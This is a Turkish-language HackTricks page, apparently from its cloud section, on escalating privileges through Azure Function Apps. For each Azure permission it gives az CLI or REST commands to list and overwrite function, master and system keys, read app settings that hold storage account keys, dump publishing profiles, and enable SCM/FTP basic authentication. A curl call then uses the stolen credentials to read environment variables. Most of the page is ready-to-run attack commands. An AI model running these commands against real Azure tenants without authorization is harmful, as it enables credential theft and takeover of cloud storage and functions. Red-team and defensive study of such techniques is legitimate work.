Az - Functions App Privesc

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!

• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**

• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.

Function Apps

Daha fazla bilgi için aşağıdaki sayfayı kontrol edin:

Az - Function Apps

Microsoft.Web/sites/host/listkeys/action

Bu izin, belirtilen fonksiyonun işlev, ana ve sistem anahtarlarını listelemeye izin verir, ancak host anahtarını listelemez:

az functionapp keys list --resource-group <res_group> --name <func-name>

Microsoft.Web/sites/functions/listKeys/action

Bu izin, belirtilen işlevin anahtarını almak için kullanılır:

az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"

Microsoft.Web/sites/host/functionKeys/write

Bu izin, belirtilen işlev için bir işlev anahtarı oluşturmayı/güncellemeyi sağlar:

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Microsoft.Web/sites/host/masterKey/write

Bu izin, belirtilen işlev için bir anahtar oluşturmayı/güncellemeyi sağlar:

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Microsoft.Web/sites/host/systemKeys/write

Bu izin, belirtilen işlev için bir sistem işlev anahtarı oluşturmayı/güncellemeyi sağlar:

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Microsoft.Web/sites/config/list/action

Bu izin, bir fonksiyonun çevresel değişkenlerini almayı sağlar. Bu değişkenler içinde, aslında fonksiyonun blob depolamasına TAM izinlerle erişmek için bir hesap anahtarı içeren AzureWebJobsStorage veya WEBSITE_CONTENTAZUREFILECONNECTIONSTRING varsayılan çevresel değişkenlerini bulmak mümkün olabilir.

az functionapp config appsettings list --name <func-name> --resource-group <res-group>

Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)

Bu izin, temel olarak temel kimlik doğrulama kimlik bilgilerini içeren tüm yayın profillerini listelemeye olanak tanır:

# Gte creds
az functionapp deployment list-publishing-profiles \
--name basicauthenabled \
--resource-group Resource_Group_1 \
--output json

• Method SCM

Daha sonra, bu temel kimlik bilgileri ile işlev uygulamanızın SCM URL'sine erişebilir ve env değişkenlerinin değerlerini alabilirsiniz:

# Get env variables values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v

Not edin ki SCM kullanıcı adı genellikle "$" karakteri ile başlar ve ardından uygulamanın adı gelir, yani: $<app-name>.

Ve bu ortam değişkenleri, işlev uygulamasının verilerini depolayan depolama hesabının AccountKey'sini içerir ve bu depolama hesabını kontrol etmeyi sağlar.

Eğer bu kimlik bilgilerini REDACTED olarak görüyorsanız, bunun nedeni SCM temel kimlik doğrulama seçeneğini etkinleştirmeniz gerektiğidir ve bunun için ikinci izne ihtiyacınız var (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):

# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!
• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**
• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.